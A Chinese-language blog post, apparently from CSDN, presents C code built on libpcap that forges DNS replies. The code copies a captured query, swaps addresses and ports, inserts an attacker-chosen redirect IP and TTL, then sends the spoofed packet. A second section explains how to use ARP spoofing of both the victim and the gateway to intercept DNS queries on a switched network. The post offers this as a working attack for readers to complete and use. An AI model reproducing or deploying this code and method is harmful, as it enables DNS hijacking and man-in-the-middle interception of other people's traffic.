先簡要說說代碼,這裏只有構造DNS迴應部分的代碼,我還做了網址匹配,也就是說只有別人輸入相應的網址纔給轉向不過出於一些原因就不放上來了。這裏的代碼只是對所有DNS都轉向的代碼,你可以自己加完整別的代碼。
隨便轉載,轉載請註明出處http://blog.csdn.net/leotangcw/
歡迎大家和我交流Email:[email protected]
抓包和分析都要在子線程中進行,這樣程序的效率才比較好。
僞造的包的DNS ID一定要和請求的包的ID一樣纔可以工作。
........抓包
int packetlen=exprotocol_header->len+16;//從抓到包的長度得到要僞造包的長度
int questlen=exprotocol_header->len-54; //問題長度
u_int8_t* packet_content; //要發的包
packet_content=(u_int8_t*)malloc((packetlen)*sizeof(u_int8_t));
unsigned short IP_len=ntohs(packetlen-14); //
unsigned short UDP_len=ntohs(packetlen-34);
memcpy(packet_content,expkt_data,exprotocol_header->len); //拷貝抓的包到發的包裏面因爲有很多不需要改的地方,其中包括最重要的DNS ID號
memcpy(packet_content,expkt_data+6,6); //交換MAC地址
memcpy(packet_content+6,expkt_data,6);
memcpy(packet_content+16,&IP_len,2); //計算的IP數據包長度
packet_content[18]=0x12;//IP的ID號 隨便添
packet_content[19]=0x34;//IP的ID號 隨便添
packet_content[20]=0x40; //不分段
packet_content[21]=0x00; //偏移
packet_content[22]=0xf4; //TTl=244
packet_content[24]=0x00;//IP效驗和先置0以後再算
packet_content[25]=0x00;//IIP效驗和先置0以後再算
memcpy(packet_content+26,expkt_data+30,4);//交換IP
memcpy(packet_content+30,expkt_data+26,4);//交換IP
memcpy(packet_content+34,expkt_data+36,2);//交換端口
memcpy(packet_content+36,expkt_data+34,2);//交換端口
memcpy(packet_content+38,&UDP_len,2); //填入計算的UDP數據包長度
packet_content[40]=0x00;//UDP效驗和添0
packet_content[41]=0x00;//UDP效驗和添0
packet_content[44]=0x81; //無錯誤標準回覆
packet_content[45]=0x80; //無錯誤標準回覆
packet_content[48]=0x00; //回答數目1
packet_content[49]=0x01; //回答數目1
packet_content[exprotocol_header->len]=0xc0; //回答名字
packet_content[exprotocol_header->len+1]=0x0c; //回答名字
packet_content[exprotocol_header->len+2]=0x00; //類型 A
packet_content[exprotocol_header->len+3]=0x01; //類型 A
packet_content[exprotocol_header->len+4]=0x00; //類1
packet_content[exprotocol_header->len+5]=0x01; //類1
packet_content[exprotocol_header->len+6]=0x00; //你想讓其在被欺騙主機上的DNS信息存活時間
packet_content[exprotocol_header->len+7]=0x00; //你想讓其在被欺騙主機上的DNS信息存活時間
packet_content[exprotocol_header->len+8]=0x0c; //你想讓其在被欺騙主機上的DNS信息存活時間
packet_content[exprotocol_header->len+9]=0xe8; //你想讓其在被欺騙主機上的DNS信息存活時間
packet_content[exprotocol_header->len+10]=0x00; //數據長度
packet_content[exprotocol_header->len+11]=0x04; //數據長度
m_exdwAddress1=ntohl(m_exdwAddress); //對輸入的轉向IP做網絡字節轉換
memcpy(packet_content+exprotocol_header->len+12,&m_exdwAddress1,4); //轉向的IP
USHORT m_ipcheck;
u_int16_t* checkbufer;
checkbufer=(u_int16_t*)malloc(20);
memcpy(checkbufer,packet_content+14,20); //把IP頭拷入一個區域做計算
m_ipcheck=checksum(checkbufer,20); //計算IP校驗和
memcpy(packet_content+24,&m_ipcheck,2); //添入IP校驗和
pcap_sendpacket(expcap_handle,packet_content,exprotocol_header->len+16);//發包
接下來是深入的討論如果是在3層交換機上如何做DNS欺騙
三層交換機上只有廣播包會發到所有端口,其他包都只會在對應端口之間傳送。要讓他的DNS查詢發到你的機器上來就需要僞裝成網關,因爲我們是通過網關上網,所以所有外發的包都要過網關。
在這裏我們要感謝ARP協議,這是一個數據鏈路層上的協議,主要作用是用來查詢你的局域網上的其他主機的MAC地址,比如我們在ping 的時候就會發出一個ARP查詢,比如:我是172.30.52.170,我現在ping 172.30.52.174 -t就會發出一個ARP查詢向全網段廣播問誰是172.30.52.174啊,請告訴我你的MAC地址,然後我就會得到一個172.30.52.174的回覆說xx:xx:xx:xx:xx:xx的MAC對應的是172.30.52.174於是我就可以通過這個MAC和他進行傳輸了。同時我會把他的MAC和IP的對應關係寫入我的機器的緩存(會存在一定時間),ARP請求也會更新緩存,比如上面我ping172.30.52.174他的緩存中也會留下我的IP和MAC對應關係。
而且ARP是後更新的,他和DNS相反,DNS對先到的回答做相應,ARP對後到的消息做緩存更新,於是我們就想出了一個好辦法,比如我的MAC是01:02:03:04:05:06首先,我告訴我想欺騙的主機,我是網關,比如我給172.30.52.174的主機發一個ARP查詢或應答包說172.30.52.1(網關)對應的MAC是01:02:03:04:05:06,同時告訴網關172.30.52.174的IP對應的MAC是01:02:03:04:05:06於是172.30.52.174把發給網關的包都給了我,同時網關也把給172.30.52.174的包都給了我,我在他們之間做一個包轉發,就行了,這樣所有的包都通過我了,後面的DNS欺騙就和前面一樣了。
由於ARP包構造太簡單了,就不詳細寫了,好了,先寫到這裏吧,寫了一天累了。